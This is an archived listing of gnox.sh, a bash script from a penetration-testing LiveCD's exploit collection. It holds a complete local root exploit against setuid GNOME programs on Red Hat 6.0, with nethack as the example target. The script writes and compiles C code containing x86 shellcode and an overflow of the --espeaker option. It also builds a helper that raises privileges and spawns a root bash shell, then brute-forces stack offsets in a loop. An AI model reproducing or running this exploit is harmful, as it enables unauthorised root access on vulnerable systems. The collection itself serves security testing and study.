home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / gnox.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  3KB  |  123 lines

  1. #!/bin/bash
  2. # Generic exploit for GNOME apps under Linux x86
  3. # Our overflowed buffer is just 80 bytes so we'll have to get our settings
  4. # just so.  Hence the shell script.
  5. #
  6. # This should work against any su/gid GNOME program.  The only one that comes
  7. # with RH6.0 that is su/gid root is (the irony is killing me) nethack.
  8. #
  9. # Change the /usr/games/nethack statement in the while loop below to exploit
  10. # a different program.
  11. #
  12. # -Brock Tellier btellier@webley.com
  13.  
  14. echo "Building /tmp/gnox.c..."
  15. cat > /tmp/gnox.c <<EOF
  16. /*
  17.  * Generic GNOME overflow exploit for Linux x86, tested on RH6.0
  18.  * Will work against any program using the GNOME libraries in the form
  19.  * Keep your BUFSIZ at 90 and only modify your offset
  20.  *
  21.  */
  22.  
  23.  
  24. #include <stdlib.h>
  25. #include <stdio.h>
  26.  
  27. char gnoshell[]= /* Generic Linux x86 shellcode modified to run our
  28. program */
  29. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  30. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  31. "\x80\xe8\xdc\xff\xff\xff/tmp/gn";
  32.  
  33. #define LEN 120
  34. #define BUFLEN 90 /* no need to change this */
  35. #define NOP 0x90
  36. #define DEFAULT_OFFSET 300
  37.  
  38. unsigned long get_sp(void) {
  39.  
  40. __asm__("movl %esp, %eax");
  41.  
  42. }
  43.  
  44. void main(int argc, char *argv[]) {
  45.  
  46. int offset, i;
  47. int buflen = BUFLEN;
  48. long int addr;
  49. char buf[BUFLEN];
  50. char gnobuf[LEN];
  51. if(argc > 2) {
  52.   fprintf(stderr, "Error: Usage: %s <offset>\n", argv[0]);
  53.   exit(0);
  54. }
  55.  else if (argc == 2){
  56.    offset=atoi(argv[1]);
  57.  }
  58.  else {
  59.    offset=DEFAULT_OFFSET;
  60.  }
  61.  
  62.  
  63. addr=get_sp();
  64.  
  65. fprintf(stderr, "Generic GNOME exploit for Linux x86\n");
  66. fprintf(stderr, "Brock Tellier btellier@webley.com\n\n");
  67. fprintf(stderr, "Using addr: 0x%x  buflen:%d  offset:%d\n", addr-offset,
  68. buflen, offset);
  69.  
  70. memset(buf,NOP,buflen);
  71. memcpy(buf+35,gnoshell,strlen(gnoshell));
  72. for(i=35+strlen(gnoshell);i<buflen-4;i+=4)
  73.         *(int *)&buf[i]=addr-offset;
  74.  
  75. sprintf(gnobuf, "--enable-sound --espeaker=%s", buf);
  76. for(i=0;i<strlen(gnobuf);i++)
  77.         putchar(gnobuf[i]);
  78.  
  79. }
  80. EOF
  81.  
  82. echo "...done!"
  83.  
  84. echo "Building /tmp/gn.c..."
  85.  
  86. cat > /tmp/gn.c <<EOF
  87. #include <unistd.h>
  88.  
  89. void main() {
  90.   printf("before: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
  91. geteuid(), getgid(), getegid());
  92.  
  93.   setreuid(geteuid(), geteuid());
  94.   setregid(getegid(), getegid());
  95.  
  96.   printf("after: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
  97. geteuid(), getgid(), getegid());
  98.  
  99.   system("/bin/bash");
  100. }
  101. EOF
  102.  
  103. echo "...done!"
  104.  
  105. echo "Compiling /tmp/gnox..."
  106. gcc -o /tmp/gnox /tmp/gnox.c
  107. echo "...done!"
  108.  
  109. echo "Compiling /tmp/gn..."
  110. gcc -o /tmp/gn /tmp/gn.c
  111. echo "...done!"
  112.  
  113. echo "Launching attack..."
  114.  
  115. offset=0
  116.  
  117. while [ $offset -lt 10000 ]; do
  118.     /usr/games/nethack `/tmp/gnox $offset`
  119.     offset=`expr $offset + 4`
  120. done
  121.  
  122. echo "...done!"
  123.